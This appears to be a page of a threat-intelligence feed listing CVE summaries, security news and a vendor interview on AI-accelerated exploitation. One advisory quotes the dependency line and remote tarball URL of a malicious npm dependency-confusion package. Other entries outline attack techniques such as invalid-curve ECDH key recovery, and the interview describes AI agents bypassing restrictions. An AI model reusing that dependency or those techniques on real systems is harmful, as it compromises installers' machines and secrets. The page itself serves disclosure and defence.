Search: t**n*e**l s.a. c***t**c***a
1,567 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | Reddit Cybersecurity OWASP has released CVE Lite CLI, a command-line tool designed to scan software dependencies for known vulnerabilities and provide actionable remediation advice. The tool helps developers and DevSecOps teams identify and fix known CVEs in their project dependencies. However, it does not protect against advanced or zero-day supply chain attacks that are not yet recorded in public advisory databases. This tool addresses a specific gap in dependency vulnerability management but should be part of a broader, multi-layered supply chain security strategy. | Reddit Cybersecurity | |||
| Medium | 4.7 | EPSS <0.1% | Medium4.7EPSS <0.1%CVE Database V5CVE-2026-45614 OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. Prior to version 4.11.0, on many of the ECDH shared secret paths, the public key isn't verified to be a point on the correct curve. By passing approximately 30-40 crafted public keys to OP-TEE, the private key can be reconstructed by a normal world attacker. When calling TEE_DeriveKey the public key is provided with full X and Y values, but the (X, Y) point might not satisfy the `Y^2 == X^3 + aX + b mod P` math for the specific curve that is used. When those public keys aren't rejected, the attacker can select public keys such that each DeriveKey call will leak `d % r` where `d` is the private key and `r` comes from the relationship between the correct curve and the attacker selected curve. With enough leaked data the Chinese remainder theorem can be used to recover the full private key. Version 4.11.0 fixes the issue. | CVE Database V5 | ||
| Medium | 5.5 | EPSS 0.1% | Medium5.5EPSS 0.1%GCVE DatabaseCVE-2025-71314 In the Linux kernel, the following vulnerability has been resolved: drm/panthor: Recover from panthor_gpu_flush_caches() failures We have seen a few cases where the whole memory subsystem is blocked and flush operations never complete. When that happens, we want to: - schedule a reset, so we can recover from this situation - in the reset path, we need to reset the pending_reqs so we can send new commands after the reset - if more panthor_gpu_flush_caches() operations are queued after the timeout, we skip them and return -EIO directly to avoid needless waits (the memory block won't miraculously work again) Note that we drop the WARN_ON()s because these hangs can be triggered with buggy GPU jobs created by the UMD, and there's no way we can prevent it. We do keep the error messages though. v2: - New patch v3: - Collect R-b - Explicitly mention the fact we dropped the WARN_ON()s in the commit message v4: - No changes EPSS 0.1%Vulnerability | GCVE Database | ||
| Medium | 5.5 | EPSS 0.1% | Medium5.5EPSS 0.1%GCVE DatabaseCVE-2026-46255 A vulnerability in the Linux kernel's dmaengine subsystem (fsl-edma driver) caused warnings during driver removal due to improper clock disable handling. The issue was fixed by removing redundant clock disable calls in the driver removal function. This fix prevents kernel warnings related to clock management during device removal. EPSS 0.1%Vulnerability | GCVE Database | ||
| –Not rated | – | SANS ISC Handlers Diary Enterprise applications often still use complex standards like SOAP for web services. The big advantage of SOAP is its tight and extensive standards, which enable interoperability across an enterprise governed by web services. The disadvantage of SOAP: First, while it is de facto usually used over HTTP, it does not leverage HTTP, leading to unnecessary complexity. Secondly, kids don&#;x26;#;39;t RTFM, and developers these days tend not to appreciate the art of careful system design; they rather throw code at an IDE to see what sticks, if they don&#;x26;#;39;t vibe code it anyway. 
 | SANS ISC Handlers Diary | |||
| Medium | – | MediumTenable Research Tenable CTO Vlad Korsunsky talks about participating in the World Economic Forum’s Annual Meeting on Cybersecurity and Tenable’s EXPOSURE 2026 conference, where he talked with global leaders about new game-changing AI threats and the groundbreaking benefits of exposure management. Key takeaways The patching cycle is obsolete. Advanced AI models have compressed exploitation timelines into “negative days,” meaning adversaries actively weaponize vulnerabilities before vendor patches are even released. Shift from static CVE severity scores to AI-powered exposure management. Point-in-time vulnerability-risk snapshots fall short. You need AI insights to prioritize remediation based on real-world exploitability of your entire attack surface. Secure the agentic economy. The rapid explosion of autonomous non-human AI identities demands the immediate application of zero trust and least-privilege cryptographic primitives to mitigate severe, systemic internal risks. Don’t focus only on vulnerabilities. While the 2026 Verizon DBIR ranks vulnerability exploitation as the top initial access vector for breaches (about 30%), the majority of breaches (70%) stem from human errors, such as misconfigurations and identity flaws. Tenable Chief Technology Officer Vlad Korsunsky recently participated in the World Economic Forum’s Annual Meeting on Cybersecurity in Geneva, Switzerland, an annual summit that takes the pulse of global cyber risk. Korsunsky was one of 150 senior leaders from global industry and government who gathered to discuss how to strengthen businesses’ cyber defenses. The sobering, collective consensus: The traditional cybersecurity playbook is obsolete, as AI becomes an unprecedented threat multiplier. For Tenable, participating in foundational, high-level dialogues and collaborations such as this one is both a privilege and an immense responsibility. As the cybersecurity operating model gets rewritten in real-time, Tenable feels a duty to help shape cyber defenders’ collective insights and strategies. Tenable has spent years addressing the structural cybersecurity operational gaps that worry C-level executives and government leaders worldwide. Korsunsky also had a chance to sit down with many of the hundreds of cybersecurity executives who gathered recently at Tenable’s EXPOSURE 2026 conference . The EXPOSURE 2026 discussions ranged from the death of reactive patching cycles to the need to counter AI threats with systemic cyber resilience, and signaled an urgent need to shift away from a siloed, fragmented approach to cybersecurity and move toward AI-powered exposure management . Below is an in-depth Q&A with Korsunsky, expanding on his participation in the Geneva and Tenable meetings, the rapid escalation of AI threats, and the way to tame cyber risk today and in the coming years. Q: Vlad, you recently returned from the World Economic Forum’s Annual Meeting on Cybersecurity in Geneva. What was the overarching energy in the room among these 150 global leaders, which included CEOs, CTOs, CISOs and government leaders? Vlad Korsunsky: The energy was highly focused and, frankly, deeply sober. We are witnessing an unprecedented compression of the threat landscape, and everyone in that room, whether they were running a multinational bank, directing a national cyber defense agency, or leading an NGO, realized that conventional cyber defenses cannot keep up with this velocity. A telling example of how high the stakes have jumped occurred just recently in Washington, D.C. The then Federal Reserve Chair Jerome Powell and U.S. Treasury Secretary Scott Bessent convened an emergency, high-level meeting with the CEOs of some of America's largest financial institutions, including Wall Street giants like Goldman Sachs, Citigroup, Wells Fargo, Bank of America, and Morgan Stanley. The entire meeting focused on a single AI model: Anthropic’s Claude Mythos Preview . Anthropic had flagged that while it built Mythos to bolster cyber defense, its raw capabilities were so advanced that, if weaponized or leaked, it could pose a major threat to the structural stability of the global financial system. When the highest echelons of fiscal and state power are holding emergency briefings over the capabilities of a single generative AI model, you know you’re dealing with a fundamentally different cyber threat landscape. Q: When asked, "What are the top cyber concerns for 2027?," meeting participants ranked the capacity of AI to be a threat multiplier as number one. Is this a future problem, or are we living it now? Vlad Korsunsky: The threat of AI in the hands of attackers is absolutely a global concern today. Look at the empirical metrics tracking adversary speed over the last decade and a half. For years, Mandiant tracked a linear trend that actually looked like a win for defenders. Time-to-exploit, which is the window between a vulnerability being disclosed and an active exploit hitting the wild, shrank steadily from 63 days in 2018 down to 32 days by 2022. Concurrently, average attacker dwell time — the time an attacker remains undiscovered after breaching a network – plummeted from more than 400 days in 2011 down to just 14 days in 2025. In short, defenders were actively closing the gap. Then came 2023, and the trend broke violently. Time-to-exploit collapsed from 32 days to just five. By 2024, it went negative: minus one day. According to Mandiant’s latest “M-Trends 2026 Report ,” published last month, the average time-to-exploit sits at minus seven days . Think about that structural asymmetry. Attackers are successfully weaponizing and exploiting vulnerabilities a full week before a vendor compiles and ships a patch. Meanwhile, the median timeline for an enterprise to deploy a patch across their environment is roughly 43 to 55 days, according to this year’s Verizon Data Breach Investigations Report (DBIR) . If adversaries are operating in negative time and defenders are operating across months, the traditional patching cycle is effectively a dead strategy. Q: What is driving this terrifying acceleration? How are attackers moving so quickly? Vlad Korsunsky: It is driven entirely by advanced frontier LLMs doing in minutes what used to require weeks of highly specialized human labor. Back in February, Anthropic’s Opus 4.6 model uncovered more than 500 zero-day vulnerabilities in widely utilized open-source software, flaws that had remained undiscovered despite decades of manual peer review by brilliant human engineers. Less than two months later, Anthropic’s Mythos model found thousands more vulnerabilities across foundational operating systems, web browsers, and core cryptographic libraries. More importantly, Mythos went further after spotting them; it boasted an 83% autonomous success rate in chaining disparate, low-severity logic flaws into devastating, end-to-end critical exploits. Essentially, we have reached a watershed moment reminiscent of when Google DeepMind’s AlphaGo defeated human Go champions . Experts believed a computer was decades away from mastering the Go game because the game features more potential board configurations than there are atoms in the observable universe. Brute force was impossible. Yet, AlphaGo won by leveraging deep neural networks to synthesize a form of machine intuition, discovering creative moves no human had conceived in 2,500 years of play. Today, frontier AI models are applying that exact evolutionary leap to cybersecurity. The most powerful LLMs can now execute 32-step complex reasoning chains to autonomously map and compromise simulated corporate networks. The asymmetry is stark. This massive capability curve means the absolute volume of known exposures is poised for a massive step-change, and GenAI has poured pure gasoline on the fire. Q: With zero-days dropping in droves thanks to AI-aided discoveries, should enterprises focus all their engineering resources on hunting down these vulnerabilities? What did you hear from CISOs and other high-level cybersecurity leaders about this issue at Tenable’s EXPOSURE 2026? Vlad Korsunsky: This is where we have to look at the whole board and avoid panic. While the influx of AI-driven zero-day disclosures is a massive upstream pressure on software vendors, data from this year’s Verizon DBIR shows that breaches directly leveraging software exploits account for about 30% of incidents. It's a significant percentage, yes, but what about the other 70%? Cybersecurity leaders I talked to at EXPOSURE 2026 realize that the overwhelming majority of enterprise breaches do not begin with an ultra-sophisticated, state-sponsored zero-day exploit. They start with incredibly simple, unforced human errors: unsecured shadow IT cloud assets running outside corporate governance; misconfigured databases left wide open to the public internet; over-privileged corporate identities; a lack of multi-factor authentication (MFA); and highly targeted, AI-driven spear phishing. This is a critical insight for guiding your cyber strategy today. These misconfigurations and unsecured cloud credentials are the dry fuel sitting inside an enterprise network. When an AI hacking agent comes looking, that fuel ignites faster than any traditional cybersecurity team can react. So organizations must be diligent about proactively maintaining stringent security hygiene. Q: If paddling faster inside the old patching model won't save us, how do defenders change the rules of the game? Vlad Korsunsky: We have to look at this the way wildland firefighters have looked at massive forest fires for over a century. When a wildfire is roaring toward a town faster than a human can run, firefighters don’t just stand at the edge of the flames reaching for a bigger water hose. They get ahead of the blaze and light a controlled burn. They intentionally clear out the brush, trees, and fuel ahead of time. When the main fire line reaches that cleared zone, it starves and dies because there is nothing left to consume. Enterprise security must adopt this exact philosophy. We have to stop reacting to the fire and start aggressively clearing the fuel before the adversary arrives. This requires a wholesale shift from reactive vulnerability patching to continuous exposure management . The traditional Common Vulnerability Scoring System (CVSS) is effectively dead as a primary prioritization tool . A static CVSS score tells you the theoretical severity of a single CVE in a vacuum; it tells you absolutely nothing about real-world exploitability within the specific context of your unique enterprise environment. At EXPOSURE 2026, we heard from our customers how continuous, AI-driven exposure management is helping them counter today’s evolving AI threats successfully. With exposure management, you use advanced analytics to gain unified, real-time visibility across your entire modern attack surface, encompassing data centers, cloud infrastructure, OT/IoT environments, corporate identities, and newly deployed AI pipelines. We must use AI on the defense side to continuously map true attack paths ; for example, pinpointing exactly where a minor misconfiguration chains into a critical business asset. Q: You mentioned using AI on the defense side. How does Tenable view the balance between human security analysts and autonomous AI defenders? Vlad Korsunsky: Security is fundamentally a team sport, and AI vendors like OpenAI and Anthropic are not our adversaries. AI is the single most potent tool ever introduced into the defender’s toolkit; we simply need to wield it with machine-speed orchestration. Because our adversaries are deploying fully autonomous hacking agents today — tools that are already topping commercial bug bounty leaderboards — the only fair fight is to meet machine speed with machine speed. This means building and deploying agentic AI workflows on the side of the defense to power autonomous exposure management. However, this must always be balanced with strict human-in-the-loop oversight. In Geneva, we spent a great deal of time discussing the systemic risks of unchecked automation. If an autonomous system applies a sweeping remediation script without understanding the broader business context, it can inadvertently trigger a massive operational outage: a self-inflicted systemic failure. Defenders must maintain deep visibility into the “behind-the-scenes” logic of their automation. We need human control to govern business context, while leveraging machine speed to continuously ingest, prioritize, and neutralize exposures before an attacker can strike. Q: Another major pillar of the WEF discussion centered on AI safety and non-human identities. What are the hidden risks enterprises are overlooking as they rush to adopt AI? Vlad Korsunsky: We are transitioning rapidly into what we call the “Agentic Economy.” Historically, enterprise security focused on securing human users and a relatively manageable set of non-human service accounts. As organizations embed AI agents into core business workflows — from code generation to customer operations to financial automation — we are seeing an exponential growth of non-human, agentic identities and agentic workflows. These autonomous agents are fundamentally different. Instead of operating just “on behalf” of a human in a tightly bound session, they execute complex tasks independently. The alarming reality discussed in Geneva and in our EXPOSURE 2026 conference is that our current security frameworks lack effective, native guardrails for these agents. LLMs routinely bypass system prompts or ignore markdown safety files. They can even actively manipulate or hack neighboring AI agents to achieve their algorithmic goals. We’ve seen anecdotal instances of an enterprise AI agent autonomously writing a script to bypass an internal access restriction, and when flagged, its underlying logic essentially argued that the script committed the violation, not the agent itself. Because AI agents behave essentially like trusted corporate insiders that have been let loose across internal data silos, we must immediately apply foundational cryptographic primitives to agentic identities. We need strict zero-trust architectures, rigorous least-privilege access controls, and absolute defense-in-depth tailored specifically for non-human identities before they morph into the next great vector of unmanageable global risk. Q: Any final thoughts for organizations trying to navigate this massive technological shift? Vlad Korsunsky: Attackers are increasingly rocketing laterally across enterprise networks after the initial breach, often in minutes and even seconds, whereas before it could take them days or weeks. The adversary’s inherent advantages will always be timing, velocity, and the luxury of only needing to find a single weak link in your exposure landscape. But as defenders, we possess the ultimate home-field advantage: We can see the whole board, and we have the power to fundamentally alter the terrain. By abandoning obsolete point-in-time checkmarks, embracing continuous, AI-driven exposure management, and proactively clearing out our operational fuel at machine speed through foundational cyber hygiene, we can break the adversary’s curve and effectively secure our environments. | Tenable Research | |||
| High | 7.4 | EPSS 0.2% | CVE-2025-14774ABB T-MAC Plus · Incorrect Authorization High7.4EPSS 0.2%CVE Database V5CVE-2025-14774 CVE-2025-14774 is an Incorrect Authorization vulnerability in ABB T-MAC Plus version 4.0-24. The issue allows unauthorized access due to improper authorization checks. It has a high severity with a CVSS score of 7.4, indicating significant impact on availability. No official patch or remediation guidance is currently provided by the vendor. | CVE Database V5 | ||
| High | 8.0 | EPSS 0.2% | CVE-2025-14773ABB T-MAC Plus · Cross-site Scripting High8.0EPSS 0.2%CVE Database V5CVE-2025-14773 Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in ABB T-MAC Plus. This issue affects T-MAC Plus: 4.0-24. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.3% | CVE-2025-14772ABB T-MAC Plus · Insecure Direct Object Reference High8.8EPSS 0.3%CVE Database V5CVE-2025-14772 Authorization bypass through User-Controlled key vulnerability in ABB T-MAC Plus. This issue affects T-MAC Plus: 4.0-24. | CVE Database V5 | ||
| Critical | 9.9 | EPSS 0.3% | CVE-2025-14771ABB T-MAC Plus · Exposed Files or Directories Critical9.9EPSS 0.3%CVE Database V5CVE-2025-14771 Files or directories accessible to external parties vulnerability in ABB T-MAC Plus. This issue affects T-MAC Plus: 4.0-24. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.1% | CVE-2026-35212opencti · Cross-site Scripting Medium5.3EPSS 0.1%CVE Database V5CVE-2026-35212 OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Versions prior to 7.260227.0 are vulnerable to XSS in the rendering of email-message observable body data. The content of the body field isn't appropriately sanitized when being rendered. Does require user interaction but could be exploited by someone sharing stix or any of the ingester. This could lead to CSRF and then large scale session theft. Version 7.260227.0 contains a fix. | CVE Database V5 | ||
| Low | 2.3 | EPSS 0.2% | Low2.3EPSS 0.2%CVE Database V5CVE-2026-35202 Pterodactyl is a free, open-source game server management panel. Prior to version 1.12.3, the Pterodactyl Client API has a logic flaw that lets users bypass their assigned limits for database allocations. This happens because the database locking mechanism used in the controllers is totally broken and doesn't actually lock anything. Version 1.12.3 patches the issue. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fb8d1b46db555fda7536bcf080f9dfd0ceed5c731f7a96b2579121598dad6721) Package @att-ebiz/abs-components-bc@99.9.1 is an empty placeholder published to public npm under a scope (@att-ebiz) that matches AT&T's internal eBusiness namespace, with an inflated 99.9.1 version designed to outrank a legitimate private package of the same name during resolution. Its only meaningful content is a dependency in package.json line 10 declaring "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.8.tgz" — an off-registry tarball hosted on a third-party Google Cloud Storage bucket. The URL is unpinned (no integrity hash), mutable by whoever controls the bucket, and the path segment 'depenconf' explicitly names the dependency-confusion technique. On npm install, npm fetches that tarball and executes any preinstall/install/postinstall lifecycle scripts and module code it contains on the installer's machine. The package itself ships an empty index.js, so installation has no purpose other than pulling and executing the remote tarball's contents. Combined fingerprint — scoped namespace impersonation + 99.9.1 version inflation + empty source + unpinned off-registry tarball with 'depenconf' in the URL — is an unambiguous dependency-confusion dropper. ## Source: ghsa-malware (397f7a3656c6e13b1ba187a7f842221211ea1a02dc0f54ce3775e0c08d78a53b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (d9d4d8606057fc579fbbc6ede648c88bb580827838850f589e8887c1dd374a39) The OpenSSF Package Analysis project identified '@att-ebiz/abs-components-bc' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. | GCVE Database | |||
| High | 7.8 | EPSS 0.1% | CVE-2026-46323Microsoft · net: gro: don't merge zcopy skbs High7.8EPSS 0.1%GCVE DatabaseCVE-2026-46323 To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle | GCVE Database | ||
| High | 7.8 | EPSS 0.1% | CVE-2026-46181mlx4_srq_event() · RDMA/mlx4: Fix mis-use of RCU High7.8EPSS 0.1%GCVE DatabaseCVE-2026-46181 In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx4: Fix mis-use of RCU in mlx4_srq_event() Sashiko points out the radix_tree itself is RCU safe, but nothing ever frees the mlx4_srq struct with RCU, and it isn't even accessed within the RCU critical section. It also will crash if an event is delivered before the srq object is finished initializing. Use the spinlock since it isn't easy to make RCU work, use refcount_inc_not_zero() to protect against partially initialized objects, and order the refcount_set() to be after the srq is fully initialized. | GCVE Database | ||
| Critical | 9.8 | EPSS 0.4% | CVE-2026-9097github.com/casdoor/casdoor · Casdoor doesn't verify that a JWT used for token exchange is still active Critical9.8EPSS 0.4%GCVE DatabaseCVE-2026-9097 Casdoor versions 2.362.0 and earlier do not verify that a JWT used for token exchange is still active. The GetTokenExchangeToken() function in object/token_oauth.go validates the JWT signature and parses its claims, but never queries the Token table to verify whether the subject token has been revoked or invalidated. Because the revocation check is entirely absent, administrators are unable to terminate active sessions or revoke compromised tokens. | GCVE Database | ||
| High | 7.5 | EPSS 0.3% | High7.5EPSS 0.3%GCVE DatabaseCVE-2026-9096 Casdoor versions 2.362.0 and earlier do not enforce SAML assertion time bounds. The gosaml2 library reports all time-validation results, including NotOnOrAfter and NotBefore, in the assertionInfo.WarningInfo field. However, ParseSamlResponse() never reads this field, meaning that time bounds are computed by the library but silently discarded before the user session is issued. | GCVE Database | ||
| –Not rated | – | Bleeping Computer MSPs don't lack security data. They struggle to separate real threats from alert noise. Kaseya explains how SIEM helps MSPs improve visibility, reduce fatigue, and respond faster. [...] | Bleeping Computer | |||
| High | 7.8 | EPSS 0.2% | CVE-2026-46215Linux kernel · Use After Free High7.8EPSS 0.2%GCVE DatabaseCVE-2026-46215 In the Linux kernel, the following vulnerability has been resolved: drm: Set old handle to NULL before prime swap in change_handle There was a potential race condition in change_handle. The ioctl briefly had a single object with two idr entries; a concurrent gem_close could delete the object and remove one of the handles while leaving the other one dangling, which could subsequently be dereferenced for a use-after-free. To fix this, do the same dance that gem_close itself does. (f6cd7daecff5 drm: Release driver references to handle before making it available again) First idr_replace the old handle to NULL. Later, if the prime operations are successful, actually close it. create_tail required a similar dance to avoid a similar problem. (bd46cece51a3 drm/gem: Fix race in drm_gem_handle_create_tail()) It idr_allocs the new handle with NULL, then swaps in the correct object later to avoid races. We don't need to do that here, since the only operations that could race are drm_prime, and change_handle holds the prime lock for the entire duration. v2: cleanups of error paths | GCVE Database | ||
| Medium | 4.3 | EPSS 0.4% | CVE-2026-40914Apache Artemis Stomp Protocol · Incorrect Authorization Medium4.3EPSS 0.4%CVE Database V5CVE-2026-40914 A vulnerability exists in Apache Artemis whereby an application using the STOMP protocol with security credentials that grant either the consume or send permission on an address can augment the routing-type supported by that address even if said user doesn't have the createAddress permission for that particular address. A user could successfully send a message to an address or consume a message from a queue with a routing-type not supported by the corresponding address when that operation should actually be rejected on the basis that the user doesn't have permission to change the routing-type of the address. Even though the user was already granted permission to send and/or consume messages, they should not be able to augment the routing-type of the address without the createAddress permission. This issue affects Apache Artemis: from 2.50.0 through 2.53.0; Apache ActiveMQ Artemis: from 2.0.0 through 2.44.0. Users are recommended to upgrade to version 2.54.0, which fixes the issue. | CVE Database V5 |
Page 43 of 98